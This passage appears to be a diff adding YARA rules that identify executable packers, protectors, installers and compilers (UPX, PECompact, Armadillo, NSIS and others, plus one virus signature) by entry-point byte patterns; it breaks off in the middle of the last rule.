+rule _Unknown_by_SMT_
+{
+	meta:
+		description = "Unknown by SMT"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 ?? ?? 57 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_DxPack_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [DxPack 1.0] --> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _RLP_v073beta__ap0x_
+{
+	meta:
+		description = "RLP v0.7.3beta -> ap0x"
+	strings:
+		$0 = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56}
+	condition:
+		$0
+}
+rule _AVPACK_v120_
+{
+	meta:
+		description = "AVPACK v1.20"
+	strings:
+		$0 = {50 1E 0E 1F 16 07 33 F6 8B FE B9 ?? ?? FC F3 A5 06 BB ?? ?? 53 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _SecurePE_1X__wwwdeepzoneorg_
+{
+	meta:
+		description = "SecurePE 1.X -> www.deepzone.org"
+	strings:
+		$0 = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55 34 40 00 89 AD 68 34 40 00 8D 85 BA 2F 40 00 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_10x__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.0x -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _DxPack_10_
+{
+	meta:
+		description = "DxPack 1.0"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 8B FD 81 ED ?? ?? ?? ?? 2B B9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Hafen1641_
+{
+	meta:
+		description = "Vx: Hafen.1641"
+	strings:
+		$0 = {E8 ?? ?? 01 ?? ?? ?? CE CC 25 ?? ?? 25 ?? ?? 25 ?? ?? 40 51 D4 ?? ?? ?? CC 47 CA ?? ?? 46 8A CC 44 88 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _PocketPC_MIB_
+{
+	meta:
+		description = "PocketPC MIB"
+	strings:
+		$0 = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _theWRAP__by_TronDoc_
+{
+	meta:
+		description = "theWRAP - by TronDoc"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF 8B F0 B2 01 A1 B4 C3 40 00 E8 F1 5B F4 FF 89 03 33 D2 8B 03 E8 42 1E F5 FF 66 B9 02 00 BA FC FF FF FF 8B C6 8B 38 FF 57 0C BA B8 A7 4D 00 B9 04 00 00 00 8B C6 8B 38 FF 57 04 83 3D B8 A7 4D 00 00 0F 84 5E 01 00 00 8B 15 B8 A7 4D 00 83 C2 04 F7 DA 66 B9 02 00 8B C6 8B 38 FF 57 0C 8B 0D B8 A7 4D 00 8B D6 8B 03 E8 2B 1F F5 FF 8B C6 E8 B4 5B F4 FF 33 D2 8B 03 E8 DF 1D F5 FF BA F0 44 4E 00 B9 01 00 00 00 8B 03 8B 30 FF 56 04 80 3D F0 44 4E 00 0A 75 3F BA B8 A7 4D 00 B9 04 00 00 00 8B 03 8B 30 FF 56 04 8B 15 B8 A7}
+	condition:
+		$0 at entrypoint
+}
+rule _pirit_v15_
+{
+	meta:
+		description = "$pirit v1.5"
+	strings:
+		$0 = {5B 24 55 50 44 FB 32 2E 31 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _SuperDAT_
+{
+	meta:
+		description = "SuperDAT"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 F3 42 00 68 A4 BF 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 08 F2 42 00 33 D2 8A D4 89 15 60 42 43 00 8B C8 81 E1 FF 00 00 00 89 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v037_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.37 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+		$1 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 8E FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NsPack_V11__LiuXingPing_
+{
+	meta:
+		description = "NsPack V1.1 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 57 84 40 00 2D 50 84 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BobPack_v100__BoB__BobSoft_
+{
+	meta:
+		description = "BobPack v1.00 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 0C 24 89 CD 83 E9 06 81 ED ?? ?? ?? ?? E8 3D 00 00 00 89 85 ?? ?? ?? ?? 89 C2 B8 5D 0A 00 00 8D 04 08 E8 E4 00 00 00 8B 70 04 01 D6 E8 76 00 00 00 E8 51 01 00 00 E8 01 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Protect_Shareware_V11__eCompserv_CMS_
+{
+	meta:
+		description = "Protect Shareware V1.1 -> eCompserv CMS"
+	strings:
+		$0 = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00}
+	condition:
+		$0
+}
+rule _AsCrypt_v01__SToRM__5_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - #5"
+	strings:
+		$0 = {83 ?? ?? E2 ?? ?? E2 ?? FF}
+	condition:
+		$0
+}
+rule _Armadillo_300a__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.00a -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_v230__Teggo_
+{
+	meta:
+		description = "MoleBox v2.3.0 -> Teggo"
+	strings:
+		$0 = {42 04 E8 ?? ?? 00 00 A3 ?? ?? ?? 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 ?? 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC CC CC CC CC CC CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 20 61 58 FF D0 E8 ?? ?? 00 00 CC CC CC CC CC CC CC}
+	condition:
+		$0
+}
+rule _Splice_11__by_Tw1sted_L0gic_
+{
+	meta:
+		description = "Splice 1.1 - by Tw1sted L0gic"
+	strings:
+		$0 = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC 29 40 00 07 00 00 00 BC 28 40 00 07 00 00 00 74 28 40 00 07 00 00 00 2C 28 40 00 07 00 00 00 08 23 40 00 01 00 00 00 38 21 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 8C 21 40 00 08 ?? 40 00 01 00 00 00 AC 19 40 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 19 40 00 4F 00 43 00 50 00 00 00 E7 AF 58 2F 9A 4C 17 4D B7 A9 CA 3E 57 6F F7 76}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v166_
+{
+	meta:
+		description = "PECompact v1.66"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 DA 90 40 ?? 01 85 DE 90 40 ?? 01 85 E2 90 40 ?? BB 5B 11}
+	condition:
+		$0 at entrypoint
+}
+rule _VideoLanClient__UnknownCompiler_
+{
+	meta:
+		description = "Video-Lan-Client -> (UnknownCompiler)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_PEtite_22__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake PEtite 2.2) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 B8 00 00 00 00 68 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PEnguinCrypt_v10_
+{
+	meta:
+		description = "PEnguinCrypt v1.0"
+	strings:
+		$0 = {B8 93 ?? ?? 00 55 50 67 64 FF 36 00 00 67 64 89 26 00 00 BD 4B 48 43 42 B8 04 00 00 00 CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 00 00 58 5D BB 00 00 40 00 33 C9 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressorPacK_150X__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor.PacK 1.5.0.X -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 83 A5 ?? ?? ?? ?? ?? F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C ?? 75 23 8B 45 08 A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_
+{
+	meta:
+		description = "Inno Setup Module"
+	strings:
+		$0 = {49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 00 00 53 54 41 54 49 43}
+		$1 = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _VProtector_11A12__vcasm_
+{
+	meta:
+		description = "VProtector 1.1A-1.2 -> vcasm"
+	strings:
+		$0 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+	condition:
+		$0
+}
+rule _modified_HACKSTOP_v111f_
+{
+	meta:
+		description = "modified HACKSTOP v1.11f"
+	strings:
+		$0 = {52 B4 30 CD 21 52 FA ?? FB 3D ?? ?? EB ?? CD 20 0E 1F B4 09 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite_01015__NTkrnl_Software_
+{
+	meta:
+		description = "NTkrnl Secure Suite 0.1-0.15 -> NTkrnl Software"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3}
+	condition:
+		$0
+}
+rule _Armadillo_v3xx_
+{
+	meta:
+		description = "Armadillo v3.xx"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEStealth_275__WebtoolMaster_
+{
+	meta:
+		description = "EXEStealth 2.75 -> WebtoolMaster"
+	strings:
+		$0 = {90 60 90 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_Console_v15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (Console) v1.5"
+	strings:
+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+	condition:
+		$0 at entrypoint
+}
+rule _dUP2__diablo2oo2_
+{
+	meta:
+		description = "dUP2 -> diablo2oo2"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75 19 BE ?? ?? ?? ?? 68 00 02 00 00 56 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Ionic_Wind_Software_
+{
+	meta:
+		description = "Ionic Wind Software"
+	strings:
+		$0 = {9B DB E3 9B DB E2 D9 2D 00 ?? ?? 00 55 89 E5 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Diminisher_V01__Teraphy_
+{
+	meta:
+		description = "PE Diminisher V0.1 -> Teraphy"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
+		$0 = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_V18__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector V1.8 -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0
+}
+rule _Software_Compress_V12___BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress V1.2 ->  BG Software Protect Technologies"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Setup2Go_Installer_Stub_
+{
+	meta:
+		description = "Setup2Go Installer Stub"
+	strings:
+		$0 = {5B 53 45 54 55 50 5F 49 4E 46 4F 5D 0D 0A 56 65 72}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_VOB_ProtectCD_5__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [VOB ProtectCD 5] --> Anorganix"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _yzpack_V11__UsAr_
+{
+	meta:
+		description = "yzpack V1.1 -> UsAr"
+	strings:
+		$0 = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 8D 40 7C 8B 40 3C 89 45 04 E8 F3 07 00 00 60 8B 5D 04 8B 73 3C 8B 74 33 78 03 F3 56 8B 76 20 03 F3 33 C9 49 92 41 AD 03 C3 52 33 FF 0F B6 10 38 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v430__v440__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.30 - v4.40 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24}
+		$1 = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PIRIT_v15_
+{
+	meta:
+		description = "$PIRIT v1.5"
+	strings:
+		$0 = {B4 4D CD 21 E8 ?? ?? FD E8 ?? ?? B4 51 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_0001__Bubbasoft_
+{
+	meta:
+		description = "Packman 0.0.0.1 -> Bubbasoft"
+	strings:
+		$0 = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00}
+	condition:
+		$0
+}
+rule _Armadillo_v177_
+{
+	meta:
+		description = "Armadillo v1.77"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_2312__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.312 -> Jitit"
+	strings:
+		$0 = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey_V61X_DLL__CrypKey_Canada_Inc_
+{
+	meta:
+		description = "CrypKey V6.1X DLL -> CrypKey (Canada) Inc."
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? 00 75 34 68 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v140b5__v140b6_
+{
+	meta:
+		description = "PECompact v1.40b5 - v1.40b6"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 8A 11}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v090_
+{
+	meta:
+		description = "PECompact v0.90"
+	strings:
+		$0 = {EB 06 68 ?? ?? 40 00 C3 9C 60 BD ?? ?? 00 00 B9 02 00 00 00 B0 90 8D BD 7A 42 40 00 F3 AA 01 AD D9 43 40 00 FF B5}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PENightMare_2_Beta__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PENightMare 2 Beta] --> Anorganix"
+	strings:
+		$0 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CodeSafe_20__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [CodeSafe 2.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v300_v301_Relocations_pack_
+{
+	meta:
+		description = "WWPACK v3.00, v3.01 (Relocations pack)"
+	strings:
+		$0 = {BE ?? ?? BA ?? ?? BF ?? ?? B9 ?? ?? 8C CD 8E DD 81 ED ?? ?? 06 06 8B DD 2B DA 8B D3 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_153_Stub_engine_17__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.3 (Stub engine 1.7) -> GlOFF"
+	strings:
+		$0 = {E8 33 FD FF FF 50 E8 0D 00 00 00 CC FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_17__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.7 -> coban2k"
+	strings:
+		$0 = {BF 00 10 40 00 8D 5F 21 6A 0A 58 6A 04 59 60 57 E8 8E 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_072_
+{
+	meta:
+		description = "UPX 0.72"
+	strings:
+		$0 = {60 E8 00 00 00 00 83 CD FF 31 DB 5E}
+	condition:
+		$0 at entrypoint
+}
+rule _MZ_Crypt_10__by_BrainSt0rm_
+{
+	meta:
+		description = "MZ_Crypt 1.0 - by BrainSt0rm"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 25 14 40 00 8B BD 77 14 40 00 8B 8D 7F 14 40 00 EB 28 83 7F 1C 07 75 1E 8B 77 0C 03 B5 7B 14 40 00 33 C0 EB 0C 50 8A A5 83 14 40 00 30 26 58 40 46 3B 47 10 76 EF 83 C7 28 49 0B C9 75 D4 8B 85 73 14 40 00 89 44 24 1C 61 FF E0}
+	condition:
+		$0
+}
+rule _Nullsoft_Install_System_v20b4_
+{
+	meta:
+		description = "Nullsoft Install System v2.0b4"
+	strings:
+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00}
